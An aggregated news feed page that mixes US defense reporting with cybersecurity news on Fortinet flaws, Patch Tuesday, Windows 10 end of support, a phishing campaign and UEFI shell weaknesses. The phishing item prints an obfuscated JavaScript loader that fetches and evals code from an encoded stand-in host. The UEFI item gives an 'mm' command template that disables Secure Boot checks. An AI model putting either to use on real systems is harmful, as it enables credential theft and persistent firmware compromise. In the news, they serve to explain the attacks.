1010.cx

  • It took 45 days to rush drone defenses to CENTCOM. That’s no longer good enough: Army vice chief

    ·

    In the days after Hamas’s October 2023 attack on Israel, U.S. troops in the Middle East began to endure near-daily drone attacks. It took six weeks to get upgraded counter-drone weapons to those far-flung outposts, the Army’s vice chief of staff said Tuesday—and the service’s procurement folks thought that was a win.

    To make it happen, Gen. James Mingus said, the service had to reprogram funds destined for the Raytheon Coyote Block 2+ to the Block C variant because each of those variants was a different line of funding in the defense budget.

    “It took 45 days, and everybody was patting themselves on the back…because normally that's a multi-month kind of process,” Mingus told an audience at the AUSA annual meeting in Washington, D.C. “If you're a kid at Tower 22, you're looking at your watch. Back here, we're looking at calendars.”

    The story illustrated a larger point the Army leaders have been trying to make in their acquisition-reform push: so-called “agile funding” would allow them not only to more rapidly buy new technologies, but immediately get them downrange to protect troops in imminent danger.

    “Had that been a single line of accounting, a single program element, we could have immediately…had those Coyote Block 2C’s in the hands of those soldiers in days, instead of a multi-month period,” Mingus said.

    As it stands now, if the Defense Department wants to shift more than $10 million slated to procure one weapon to buy another one, it needs approval from Congress. What the Army would like is a big pot of general counter-UAS money that it can use to buy new technology as it’s developed.

    It’s up to the Army, then, to assure Congress that they won’t be recklessly spending that pot of money without oversight.

    The challenge “is getting them to understand that they will maintain the visibility on this, because at the end of the day, that's a big concern,” Army Undersecretary Mike Obadal said. “They're responsible for overseeing the budget, and we can't ignore that.”

    Every new weapon fielded is going to have a tactical response from the enemy, Obadal said, often requiring yet another new piece of technology for the Army to keep an advantage. 

    “With exquisite weapon systems, that cycle may take years. With other things that may take months,” he said. “But with some of the things that our soldiers are going to face on the battlefield, it has to be days, or—to the vice’s point—even hours.”

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • FortiPAM and FortiSwitch Manager Vulnerability Let Attackers Bypass Authentication Process

    ·

    , , ,

    Fortinet has issued an urgent advisory revealing a critical weakness in its FortiPAM and FortiSwitch Manager products that could allow attackers to sidestep authentication entirely through brute-force methods.

    Tracked as CVE-2025-49201, the flaw stems from a weak authentication mechanism in the Web Application Delivery (WAD) and Graphical User Interface (GUI) components, classified under CWE-1390.

    With a CVSS v3.1 score of 7.4, rated as high severity, the vulnerability poses risks of unauthorized code execution or command injection, potentially granting remote attackers full control over affected systems.

    The issue affects multiple versions of FortiPAM, Fortinet’s privileged access management solution, and select releases of FortiSwitch Manager, which handles network switch configurations.

    Specifically, FortiPAM versions 1.5.0, 1.4.0 through 1.4.2, and all versions of 1.3, 1.2, 1.1, and 1.0 are vulnerable. For FortiSwitch Manager, versions 7.2.0 through 7.2.4 in the 7.2 series are impacted, while the 7.0 series remains unaffected.

    ProductAffected VersionsSolution
    FortiPAM 1.7Not affectedNot Applicable
    FortiPAM 1.6Not affectedNot Applicable
    FortiPAM 1.51.5.0Upgrade to 1.5.1 or above
    FortiPAM 1.41.4.0 through 1.4.2Upgrade to 1.4.3 or above
    FortiPAM 1.31.3 all versionsMigrate to a fixed release
    FortiPAM 1.21.2 all versionsMigrate to a fixed release
    FortiPAM 1.11.1 all versionsMigrate to a fixed release
    FortiPAM 1.01.0 all versionsMigrate to a fixed release
    FortiSwitchManager 7.27.2.0 through 7.2.4Upgrade to 7.2.5 or above
    FortiSwitchManager 7.0Not affectedNot Applicable

    Attackers require network access and could exploit this over time with persistent brute-force attempts, though no public exploits have surfaced yet.

    Fortinet urges immediate patching to mitigate threats. Users on vulnerable FortiPAM 1.5 should upgrade to 1.5.1 or later, while those on 1.4 need version 1.4.3 or above. For older branches like 1.3 and below, migration to a fixed release is essential.

    FortiSwitch Manager 7.2 users must update to 7.2.5 or higher. The company emphasizes monitoring for unusual login attempts and implementing multi-factor authentication as interim defenses.

    Discovered internally by Gwendal Guégniaud from Fortinet’s Product Security team, the vulnerability was published on October 14, 2025, under internal reference FG-IR-25-010.

    This disclosure comes amid rising concerns over supply chain attacks targeting network management tools, underscoring the need for swift updates in enterprise environments.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post FortiPAM and FortiSwitch Manager Vulnerability Let Attackers Bypass Authentication Process appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • FortiOS CLI Command Bypass Vulnerability Let Attacker Execute System Commands

    ·

    , , ,

    Fortinet disclosed a high-severity vulnerability in its FortiOS operating system on October 14, 2025, that could enable local authenticated attackers to execute arbitrary system commands.

    Tracked as CVE-2025-58325, the flaw stems from an incorrect provision of specified functionality (CWE-684) in the CLI component, potentially leading to privilege escalation.

    With a CVSS v3.1 score of 7.8 (AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H), it poses significant risks to enterprise networks relying on Fortinet’s firewalls and security appliances.

    FortiOS CLI Command Bypass Vulnerability

    The issue arises when a local attacker with high privileges crafts malicious CLI commands, bypassing intended restrictions to run unauthorized system-level operations.

    This could result in full control over the device, data exfiltration, or further network compromise. No remote exploitation is possible, but the low attack complexity and high impact make it a prime target for insiders or compromised accounts.

    Francois Ropert from Fortinet’s PSIRT team discovered the flaw. Affected platforms include high-end models like the 100E/101E series up to the 7000F, while others remain untouched.

    Organizations should verify their setups immediately, as exploitation requires only local access and no user interaction.

    Fortinet urges upgrades to patched releases. The following table outlines impacted versions and fixes:

    FortiOS VersionAffected BuildsRecommended Solution
    7.67.6.0Upgrade to 7.6.1 or above
    7.47.4.0 through 7.4.5Upgrade to 7.4.6 or above
    7.27.2.0 through 7.2.10Upgrade to 7.2.11 or above
    7.07.0.0 through 7.0.15Upgrade to 7.0.16 or above
    6.4All versionsMigrate to a fixed release

    Use Fortinet’s upgrade path tool for seamless transitions. No indicators of compromise (IoCs) or proof-of-concept exploits were released, but monitoring CLI logs for anomalies is advised.

    This incident, under FG-IR-24-361, underscores the need for least-privilege access in CLI management.

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

    The post FortiOS CLI Command Bypass Vulnerability Let Attacker Execute System Commands appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Microsoft October 2025 Patch Tuesday – 4 Zero-days and 172 Vulnerabilities Patched

    ·

    , , , ,

    Microsoft rolled out its October 2025 Patch Tuesday updates, addressing a staggering 173 vulnerabilities across its ecosystem, including four zero-day flaws, of which two are actively exploited in the wild.

    This monthly security bulletin underscores the relentless pace of threat evolution, with critical remote code execution bugs in Office apps and elevation of privilege issues in Windows components dominating the fixes.

    As organizations grapple with end-of-support deadlines for legacy systems like Windows 10, timely patching remains essential to mitigate risks from state-sponsored actors and cybercriminals.​

    The updates target a broad array of products, from core Windows operating systems to Azure cloud services and the Microsoft Office suite.

    Among the highlights, Microsoft patched CVE-2025-59234 and CVE-2025-59236, both use-after-free vulnerabilities in Microsoft Office and Excel that enable remote code execution when users open malicious files.

    These flaws, rated critical with CVSS scores around 7.8, require no authentication and could allow attackers to gain full system control, potentially leading to data theft or ransomware deployment.

    Similarly, CVE-2025-49708 in the Microsoft Graphics Component exposes systems to privilege escalation over networks, exploiting memory corruption to bypass security boundaries.​

    Critical Vulnerabilities Patched

    Several critical entries demand immediate attention due to their potential for widespread exploitation.

    For instance, CVE-2025-59291 and CVE-2025-59292 involve external control of file paths in Azure Container Instances and Compute Gallery, allowing authorized attackers to escalate privileges locally and potentially compromise cloud workloads.

    These elevation of privilege bugs, also critical, highlight ongoing risks in hybrid environments where misconfigurations amplify impact.

    Another vulnerability is CVE-2016-9535, a long-standing LibTIFF heap buffer overflow re-addressed in this cycle, which could trigger remote code execution in image-processing scenarios, affecting legacy apps still in use.​

    The zero-days add urgency: CVE-2025-2884, an out-of-bounds read in TCG TPM2.0 reference implementation, stems from inadequate validation in cryptographic signing functions, leading to information disclosure. Publicly known via CERT/CC, it affects trusted platform modules integral to secure boot processes.

    Meanwhile, CVE-2025-47827 enables Secure Boot bypass in IGEL OS versions before 11 through improper signature verification, allowing crafted root filesystems to mount unverified images as a vector for persistent malware.

    CVE-2025-59230, another exploited flaw in Windows Remote Access Connection Manager, involves improper access controls for local privilege escalation.

    Microsoft confirms no public exploits for most others, but the duo’s active abuse by threat actors, such as nation-state groups, necessitates rapid deployment.​

    Deserialization issues in Windows Server Update Service (CVE-2025-59287) further elevate concerns, permitting unauthenticated remote code execution over networks, a prime target for supply-chain attacks.

    In total, the bulletin includes 11 critical remote code executions and elevations, with many tied to memory safety errors like use-after-free and buffer overflows prevalent in older codebases.

    Azure-specific fixes, such as those in CVE-2025-59285 for the Monitor Agent, address deserialization risks that could expose monitoring data to tampering.​

    Other Important Vulnerabilities Patched

    Beyond criticals, 150+ important vulnerabilities cover elevation of privilege (over 60), information disclosure (around 30), and denial-of-service flaws.

    Repeated patterns emerge in Windows PrintWorkflowUserSvc (CVE-2025-55684 through 55691), where use-after-free bugs allow local attackers to gain higher privileges during print operations, a common vector in enterprise printing environments.

    Windows Kernel vulnerabilities like CVE-2025-55693 and CVE-2025-59187 involve improper input validation, potentially leaking kernel memory or enabling ring-0 access.​

    Spoofing risks appear in CVE-2025-59239 for File Explorer and CVE-2025-59248 for Exchange Server, where flawed validation could trick users into executing malicious actions or bypassing authentication.

    BitLocker’s CVE-2025-55682 exposes a security feature bypass via physical attacks, underscoring hardware-software interplay vulnerabilities.

    For cloud users, Azure Arc and Connected Machine Agent fixes (CVE-2025-58724) mitigate local escalations from access control lapses. Denial-of-service bugs, such as CVE-2025-55698 in DirectX and CVE-2025-58729 in Local Session Manager, could disrupt services through null dereferences or invalid inputs.​

    This Patch Tuesday coincides with Windows 10’s end-of-support on October 14, 2025, amplifying the stakes for unpatched legacy deployments.

    Microsoft urges enabling automatic updates via Windows Update or WSUS, prioritizing criticals like Office RCEs first. For enterprises, vulnerability management tools can scan for affected versions, such as Office 2016-2021 or Windows 10/11 builds pre-KB503 something.

    No proof-of-concept code is publicly available for most, but indicators of compromise include anomalous Office crashes or Azure log anomalies. Experts recommend segmenting networks and monitoring for exploitation attempts post-patch.​

    Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post Microsoft October 2025 Patch Tuesday – 4 Zero-days and 172 Vulnerabilities Patched appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    1. Support for Windows 10 Ends Today Leaving Users Vulnerable to Cyberattacks

      ·

      , , ,

      Microsoft officially ended support for Windows 10, marking the close of a decade-long era for one of the most popular operating systems in history.

      This means that as of today, the company will no longer deliver free security updates, feature enhancements, or technical assistance for the OS, leaving millions of devices potentially exposed to emerging threats.

      With Windows 10 powering around 43% of global Windows devices as recently as July 2025, the transition poses significant challenges for users who have yet to migrate.

      Microsoft urges immediate action, recommending either upgrading to Windows 11 for a more secure and efficient experience or enrolling in the Extended Security Updates (ESU) program for those needing extra time.​

      End of Support – Exposed to Cyber Attacks

      The discontinuation of support does not render Windows 10 PCs immediately unusable; they will continue to operate normally for basic tasks. However, without ongoing security patches, these systems become increasingly vulnerable to viruses, malware, and exploits targeting unpatched flaws.

      Microsoft has emphasized that post-October 14, 2025, no fixes will address new vulnerabilities, potentially slowing performance and disrupting compatibility with modern applications.

      Technical support from Microsoft customer service will also cease, forcing users to rely on third-party solutions or self-troubleshooting for any issues.

      Consumer advocacy groups like PIRG warn that this shift could lead to widespread security incidents, especially among the estimated 21 million UK users still on Windows 10. Over time, the lack of updates turns these devices into attractive targets for cybercriminals seeking to exploit outdated software.​

      For eligible devices, upgrading to Windows 11 remains the primary recommendation, offering free access if the PC meets minimum requirements like a 1 GHz processor, 4GB RAM, and TPM 2.0 support.

      Users can verify compatibility directly through Settings > Update & Security > Windows Update, where notifications may already prompt the process.

      Those whose hardware falls short face options like purchasing a new Windows 11 pre-installed PC, with tools available to match devices to specific needs.

      Alternatively, the one-year ESU program provides critical security updates for a fee, extending protection until October 13, 2026, ideal for businesses or individuals delaying full replacement. Dell and other manufacturers echo this advice, stressing backups via OneDrive before any upgrade to safeguard data.​

      The end of Windows 10 support highlights Microsoft’s push toward AI-integrated systems like Copilot+ PCs, but it raises environmental concerns as millions may discard functional hardware.

      Surveys indicate about 25% of users plan to stick with the OS despite risks, potentially amplifying global cybersecurity threats. In the cybersecurity realm, this transition could spike vulnerabilities in enterprise environments reliant on legacy systems.

      Microsoft positions Windows 11 as the secure future, but compatibility hurdles, such as Secure Boot requirements, may force widespread device refreshes.

      As the deadline passes today, experts predict a surge in upgrade queries and ESU enrollments to mitigate immediate dangers. Ultimately, staying supported requires proactive steps to avoid isolation from evolving digital protections.​

      Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post Support for Windows 10 Ends Today Leaving Users Vulnerable to Cyberattacks appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    2. Chinese Hackers Exploit ArcGIS Server as Backdoor for Over a Year

      ·

      Threat actors with ties to China have been attributed to a novel campaign that compromised an ArcGIS system and turned it into a backdoor for more than a year. The activity, per ReliaQuest, is the handiwork of a Chinese state-sponsored hacking group called Flax Typhoon, which is also tracked as Ethereal Panda and RedJuliett. According to the U.S. government, it’s assessed to be a publicly-traded

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    3. Hackers Mimic as OpenAI and Sora Services to Steal Login Credentials

      ·

      , ,

      In recent weeks, a sophisticated phishing campaign has emerged, targeting corporate and consumer accounts by impersonating both OpenAI and Sora-branded login portals.

      Attackers distribute emails crafted to appear as legitimate service notifications, warning recipients of account suspension or unusual activity.

      These messages include links directing victims to counterfeit login pages that closely replicate the original sites’ layouts and SSL certificates.

      Early reports surfaced after several organizations reported unauthorized access attempts shortly after employees clicked through these phishing lures.

      Unit 42 researchers identified that the threat actors behind this campaign employ a multi-stage loader written in obfuscated JavaScript, dynamically injecting malicious payloads into victim browsers once credentials are submitted.

      The injected code then exfiltrates harvested usernames and passwords to a command-and-control (C2) server before redirecting users to the legitimate service, effectively masking the breach and reducing suspicion.

      This stealthy approach allows the attackers to remain undetected while gathering large volumes of credentials from both enterprise and personal accounts.

      The impact of this malware is significant: compromised credentials can be used to access sensitive data, manipulate AI models, or launch further attacks under the guise of trusted services.

      Organizations relying on Single Sign-On (SSO) solutions are particularly vulnerable, as stolen tokens may grant lateral movement within corporate networks.

      Security teams are advised to review recent login activity, implement multi-factor authentication (MFA), and monitor outbound traffic for connections to known malicious domains.

      Infection Mechanism

      Central to this campaign is the JavaScript loader, which executes immediately after the victim submits credentials on the fraudulent page.

      The loader’s code is heavily obfuscated using custom string-encoding routines. A simplified excerpt of the loader is shown below:-

      (function(){
  const _0x3a5f=['fetch','then','text','eval'];  
  fetch(atob('aHR0cHM6Ly9tYWxpY2lvdXMuZXhhbXBsZS5jb20vZ2V0PWFqYXg='))  
    [_0x3a5f[1]](res=>res[_0x3a5f[2]]())  
    [_0x3a5f[3]](payload=>eval(payload));  
})();

      Once decoded, this snippet reaches out to the C2 endpoint, retrieves a more complex payload, and executes it in the victim’s browser context.

      This dynamic loading strategy makes signature-based detection challenging, as the actual malicious code is never present in the initial page.

      Persistence is achieved by leveraging browser local storage and session restoration scripts, ensuring the loader reactivates even if the user clears cookies or closes the tab.

      Follow us on Google News, LinkedIn, and X to Get More Instant Updates, Set CSN as a Preferred Source in Google.

      The post Hackers Mimic as OpenAI and Sora Services to Steal Login Credentials appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    4. UEFI Shell Vulnerabilities Could Allow Hackers to Bypass Secure Boot on 200,000+ Laptops

      ·

      , , ,

      Hackers can exploit vulnerabilities in signed UEFI shells to bypass Secure Boot protections on over 200,000 Framework laptops and desktops.

      According to Eclypsium, these vulnerabilities expose fundamental flaws in how modern systems trust boot components, potentially enabling persistent malware infections that evade detection.

      Disclosed recently to Framework, the issues stem from legitimate diagnostic tools that, despite being signed by trusted authorities like Microsoft, include commands powerful enough to dismantle core security safeguards.

      As pre-operating system attacks grow more common, echoing threats like BlackLotus and Bootkitty, this discovery underscores the risks lurking in the firmware layer we often overlook.

      Hidden Dangers of Trusted UEFI Shells

      UEFI shells act as pre-boot command-line environments, akin to a supercharged terminal with unrestricted hardware access. Designed for IT pros to diagnose hardware, update firmware, configure settings, or test drivers, they run before the OS loads, granting privileges far beyond typical admin rights.

      The problem arises from their integration into the Secure Boot chain of trust. Microsoft’s UEFI Certificate Authority serves as the root anchor, signing third-party tools that original equipment manufacturers (OEMs) embed in firmware.

      Once signed, these shells execute without scrutiny, even on systems enforcing Secure Boot to block unsigned code.

      Eclypsium’s deep dive revealed that many such shells harbor the “mm” command for memory modification. This tool lets users read or write to any system memory address, bypassing protections like address space layout randomization or data execution prevention features absent in the pre-OS world.

      While useful for diagnostics, it becomes a hacker’s dream when scripted to run automatically via startup files, persisting across reboots without alerting the OS.

      The technique targets the Security Architectural Protocol, which verifies signatures during boot. Eclypsium researchers Jesse Michael and Mickey Shkatov, in their DEF CON 30 demo, outlined a straightforward path: enumerate system handles to find the protocol’s memory address, then use “mm” to overwrite its pointer, nulling it out or forcing a false “success” return.

      A simple command like “mm 0x[target_address] 0x00000000 -w 8 -MEM” disables checks, allowing unsigned bootkits or rootkits to load freely while Secure Boot appears intact.

      Testing on Framework devices confirmed the issue. Using tools like sbverify and custom Python scripts with the pefile library, Eclypsium scanned EFI files for “mm” indicators, flagging high-risk binaries.

      QEMU-based automation further validated execution. This isn’t theoretical; gamers already pay for similar cheats using Microsoft-signed components, and nation-state actors or ransomware groups like those behind HybridPetya could weaponize it for espionage or sabotage.

      UEFI Shell Vulnerabilities

      Affected models span Framework’s lineup, from 11th Gen Intel Core to AMD Ryzen AI series, impacting roughly 200,000 units.

      ProductBIOS Version with Limited ShellBIOS Version with DBX Update
      Framework13 11th Gen Intel CoreVulnerable: Fixed planned in 3.24Vulnerable: Fixed planned in 3.24
      Framework13 12th Gen Intel CoreFixed in 3.18Fix planned for 3.19 (TBD)
      Framework13 13th Gen Intel CoreFixed in 3.08Fixed in 3.09
      Framework13 Intel Core Ultra Series 1Fixed in 3.06Fixed in 3.06
      Framework13 AMD Ryzen 7040 SeriesFixed in 3.16Fixed in 3.16
      Framework13 AMD Ryzen AI 300 SeriesFixed in 3.04Planned in 3.05 (TBD)
      Framework16 AMD Ryzen 7040 SeriesFixed in 3.06 (Beta)Fixed in 3.07
      Framework Desktop AMD Ryzen AI 300 MAXFixed in 3.01Planned in 3.03

      Framework has rolled out fixes by stripping risky commands from shells and updating DBX revocation lists to blacklist vulnerable versions. Users can apply BIOS updates or delete Framework DB keys via setup menus for immediate protection.

      Past incidents, like CVE-2022-34302 and CVE-2024-7344, highlight this as an industry-wide crisis, prompting calls to bar shells from Secure Boot chains in EDK2 specs.

      Defenses include regular DBX updates, BIOS passwords, custom keys, and firmware scanning tools. As Eclypsium warns, implicit trust in signatures blinds us to supply chain perils.

      With firmware attacks escalating, organizations must prioritize this “below-OS” surface to avoid catastrophic breaches. The era of treating signed code as inherently safe has ended; verification is now essential.

      Follow us on Google News, LinkedIn, and X for daily cybersecurity updates. Contact us to feature your stories.

      The post UEFI Shell Vulnerabilities Could Allow Hackers to Bypass Secure Boot on 200,000+ Laptops appeared first on Cyber Security News.

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    5. The D Brief: Gaza ceasefire; Chicago deployment on hold; Qataris in Idaho; AUSA news; And a bit more.

      ·

      A break in the Israel-Hamas fighting after two years of war appears to be holding, so far. “After the release of the last living hostages and Palestinian prisoners and detainees, the tenuous ceasefire in Gaza was holding Tuesday while questions remain over other key parts of a U.S. plan for the region,” the Associated Press reported on Tuesday morning. “The long list of uncertainties includes when Hamas will return to Israel the bodies of the 24 hostages believed to be dead in Gaza, and Israel’s insistence that a weakened Hamas disarm. The future governance of Gaza is also unclear.”

      President Trump touted the ceasefire during a Middle East trip on Monday. “In an atmosphere of ebullient or exhausted relief, few wanted to rain publicly on Trump’s parade,” the Washington Post’s Karen DeYoung wrote, but many obstacles to a permanent peace remain. For example, DeYoung wrote on Tuesday, Trump “predicted the rapid expansion of the Abraham Accords, his first-term achievement of normalization between Israel and a handful of Arab states, but ignored the insistence of much of the rest of the Arab world that the path to a viable sovereign state combining the West Bank and Gaza under the Palestinian Authority must come first.” More, here.

      Revealed: Arab-Israel military cooperation. Washington Post, reporting on Saturday: “Even as key Arab states condemned the war in the Gaza Strip, they quietly expanded security cooperation with the Israeli military, leaked U.S. documents reveal. Those military ties were thrown into crisis after Israel’s September airstrike in Qatar, but could now play a key role in overseeing the nascent ceasefire in Gaza.” Read on, here.

      NPR has a look at the Gaza war by the numbers, e.g. more than 67,000 Palestinians reportedly killed by the Israeli military since October 2023 versus about 1,200 Israelis during the surprise attack by Hamas two years ago. More, here.

      Welcome to this Tuesday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson and Bradley Peniston. It’s more important than ever to stay informed, so thank you for reading. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1964, Martin Luther King Jr. received the Nobel Peace Prize for his work fighting racial inequality with nonviolence.

      Around AUSA

      Day 1 of the year’s biggest Army-themed event was busy, but several panels were cancelled, including an Indo-Pacific roundtable and a discussion of augmented reality, showing mixed success in efforts to defray the effects of the federal shutdown and the Pentagon’s new restrictions on public speaking. 

      News from the annual meeting of the Association of the U.S. Army in downtown Washington, D.C., includes:

      • Although the Pentagon’s latest strategic documents knock the Indo-Pacific off its perch as the Defense Department’s priority theater, that has not so far reduced funding or training opportunities for soldiers in South Korea, the commander of 8th Army told reporters. Defense One’s Meghann Myers has a bit more from Lt. Gen. Hank Taylor, who confirmed that his civilian workforce has been furloughed during the shutdown.
      • The Army wants AI to help man artillery and air defense units—when the tech is ready, said Maj. Gen. Frank Lozano, who heads Program Executive Office Missiles and Space. “Language learning models aren’t at the point where they can do spatial reasoning or real-time situational awareness and deliver a plan to a soldier to act on. But the Army is working on what they want that to eventually look like,” Myers writes, here.

      Among the industry announcements:

      Around industry

      Defense tech has a new unicorn. Software and analytics firm Govini has joined the ranks of defense unicorns with a new investment that pushes the company’s valuation past $1 billion, Defense One’s Lauren C. Williams reported Friday. 

      Govini, which boasts a 300-person workforce and reported $100 million in revenue for fiscal 2025, joins other billion-dollar defense startups such as robot-boatmaker Saronic, Anduril, and Germany’s Helsing. 

      Background: Govini has recently landed several contracts for its Ark.ai platform, which is used to track and analyze supply chains down to raw materials, including Army and Defense Department-wide IDIQ contracts for supply chain analysis for undisclosed amounts and a slice of the similar government-wide $919 million SCRIPTS contract. The company is also part of the Army’s pioneering Next Generation Command and Control, or NGC2, program, a $99.6 million effort led by Anduril to prototype a new system for the 4th Infantry Division. Govini is working to introduce predictive logistic and replace a manual process. Read more, here. 

      In other industry news, a startup called Valinor has unveiled what is essentially a field hospital in a box, Defense One’s Patrick Tucker reported Sunday. It’s called “Harbor,” and it’s a 20-foot shipping container that can be modified for different types of battlefield care, such as immediate damage control or prolonged casualty care—and it can be modified to power anti-drone defensive systems. 

      Also: Anduril is partnering with Valinor to allow telehealth over its Lattice mesh network to manage and reduce the unit's electromagnetic signatures. 

      Harbor can be set up in minutes and units start around $300,000, which puts them “several orders of magnitude less [in cost] than other traditional medical solutions,” said Luke Sciulli, former U.S. Army medic and head of medical innovation at Valinor. More, here. 

      Around the Defense Department

      The top enlisted leader of the Air Force announced his upcoming retirement on Monday, following the death of his wife on Sept. 20. “After nearly 30 years in uniform, I am retiring from active-duty service, to ensure I take care of our family and learn to live with Katy in a new way, to continue to honor her as I should,” Chief Master Sgt. of the Air Force David Flosi wrote in his message. Task & Purpose has more on Flosi’s career and parting message, here.

      Additional reading: 

      Trump 2.0

      Developing: The Pentagon will build a facility for the Qatari air force at an Idaho air base, the U.S. defense secretary announced on Friday. The arrangement appears to flow from earlier agreements related to the 2017 sale of Boeing F-15Q combat jets to the Gulf monarchy, but the scope of the project, its cost and financing, and Congressional buy-in remain unclear, Defense One’s Tom Novelly reports. 

      “Today, we’re announcing we’re signing a letter of acceptance to build a Qatari Emeri Air Force facility at the Mountain Home air base in Idaho,” Hegseth said during a morning appearance with Qatari Defense Minister Sheikh Saoud bin Abdulrahman Al Thani at the Pentagon. Hegseth made the announcement after thanking his counterpart for Qatar’s role as mediators during the Israel-Gaza war.

      However, seven hours later, Hegseth’s X account tweeted, “Important clarification:.. Qatar will not have their own base in the United States—nor anything like a base. We control the existing base, like we do with all partners.” Asked for further detail, the Office of the Secretary of Defense wrote in an email: “Facilities Construction and Operational Support for Qatari F-15 Aircraft at Mountain Home Air Force Base was executed via foreign military sales, will enable the construction and operational integration of an enduring location for Qatari F-15 aircraft at Mountain Home Air Force Base in Idaho.” Continue reading, here. 

      Update: An appeals court ruled Saturday National Guard troops sent to Illinois can remain on standby but can’t deploy—e.g., to the streets of Chicago against the wishes of local officials—while a lawsuit filed by the state of Illinois works its way through the court system. 

      That means 200 Texas National Guard soldiers will stay nearby in Chicago while 300 Illinois National Guard troops are activated and training, but not deploying to the streets yet either. “Members of the National Guard do not need to return to their home states unless further ordered by a court to do so,” the Saturday ruling said. 

      The panel’s one-page order Saturday “did not include a rationale for the decision, which is temporary,” the New York Times reports, explaining, “Appeals courts often issue short, temporary rulings on time-sensitive matters. Courts generally issue lengthier rulings once judges have had time to review and consider arguments from each party.”

      White House reax: “We're obviously going to litigate this as much as we can,” Vice President JD Vance said on ABC's This Week Sunday.

      Related: Washington state’s attorney general joined Illinois’ suit against the White House over National Guard deployments to Chicago. Already, two dozen other states’ top attorneys and their governors have joined the suit, which “warns that turning the military into a domestic police force would blur the line between civilian and military power—the very abuse the Founders sought to prevent when creating our democracy,” Washington’s Attorney General Nick Brown said in a statement Sunday. 

      Other states in the suit include Arizona, California, Colorado, Connecticut, Delaware, the District of Columbia, Hawai‘i, Maine, Maryland, Massachusetts, Michigan, Minnesota, Nevada, New Jersey, New Mexico, New York, North Carolina, Oregon, Rhode Island, and Vermont. “The governors of Kansas, Kentucky and Pennsylvania also joined the filing,” Brown noted. 

      Bigger-picture analysis: “Trump deploys tactics and language of war against perceived domestic threats,” Emily Davies and Karen DeYoung of the Washington Post reported Saturday. In sum, “Through public statements, orders and a little-noticed policy directive, President Donald Trump has made clear that he is eager to use the might of the American military and the resources of the federal government to crack down on what he sees as domestic threats: violent crime, illegal immigration and the antifa movement,” they write. 

      Expert reax: Trump’s order last month designating “Antifa” as a “domestic terrorist organization” is “ungrounded in fact and law,” Faiza Patel of the Brennan Center’s Liberty and National Security Program wrote in an explainer published Thursday. Acting on Trump’s order, she warns, “would violate free speech rights, potentially threatening any person or group holding any one of a broad array of disfavored views with investigation and prosecution.” 

      To begin, “As both former FBI Director Chris Wray and the Congressional Research Service have explained, antifa is not a group or an organization, but a decentralized movement,” Patel notes. “Moreover, the administration has no authority to designate groups as domestic terrorist organizations, as is obvious from the failure to cite any statute or constitutional provision in support of the president’s action.”

      Further, in pursuit of anti-fascists, Trump’s order and accompanying memo says he wants to target “anti-Americanism, anti-capitalism, and anti-Christianity; support for the overthrow of the United States Government; extremism on migration, race, and gender; and hostility towards those who hold traditional American views on family, religion, and morality.” Patel calls that list “breathtakingly broad…threatening to turn the full force of the federal government to rooting out a conjured-up left-wing conspiracy of political violence funded by shadowy figures.”

      “Neither the law nor the facts support this premise, and court challenges to actions taken pursuant to these orders will likely meet with success,” Patel predicts. “But in the process, many individuals and organizations will be vilified and harmed for their constitutionally protected activities and others will be muzzled as they fear the consequences of associating with or speaking up for groups that have been targeted. And we will all be less safe as law enforcement resources are diverted from real threats to imagined ones.” More, here. 

      Additional reading: 

      Lastly today: Ahead of a Tuesday afternoon deadline, at least 30 news outlets say they won’t sign the Trump administration’s new restrictive rules for Pentagon coverage from inside the building. 

      Among those not signing, per WaPo’s Scott Nover: Defense One, the New York Times, AP, Reuters, the Wall Street Journal, the Financial Times, the Guardian, the Atlantic, CNN, NPR, Task & Purpose, Breaking Defense, The Hill, Politico, the Washington Times, the Washington Examiner, Newsmax, the Washington Post.

      • One outlet that has agreed to the restrictions: One America News.

      Point of clarification: Hegseth’s Monday tweet falsely suggested, among other things, that members of the press currently have unfettered access to Pentagon spaces and don’t wear badges.

      “It’s important everyone understands that this document is not about press’ ability to ‘roam the halls,’” writes CNN’s Natasha Bertrand. “It equates asking for information—the press’ literal job—with criminal activity. The new rules even stipulate that sharing our contact information on social media and asking people to reach out could make journalists a ‘security risk’ and be grounds for revoking badges. That is the real reason why no one —save one far-right outlet—is signing.”

      Related reading: 

      ]]>

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

      ¶¶¶¶¶

    6. Criminal IP to Showcase ASM and CTI Innovations at GovWare 2025 in Singapore

      ·

      Torrance, United States, October 14th, 2025, CyberNewsWire

      Criminal IP at Booth J30 | Sands Expo Singapore | October 21 – 23, 2025

      Criminal IP, a global cybersecurity company, announced its participation in GovWare 2025, Asia’s largest cybersecurity conference, which will be held at the Sands Expo in Singapore from October 21 to 23.

      At the event, Criminal IP will showcase its flagship platform, introducing its innovative security strategies in Attack Surface Management (ASM) and Cyber Threat Intelligence (CTI) to the global market.

      Strengthening Global Presence through AI-Powered ASM and CTI

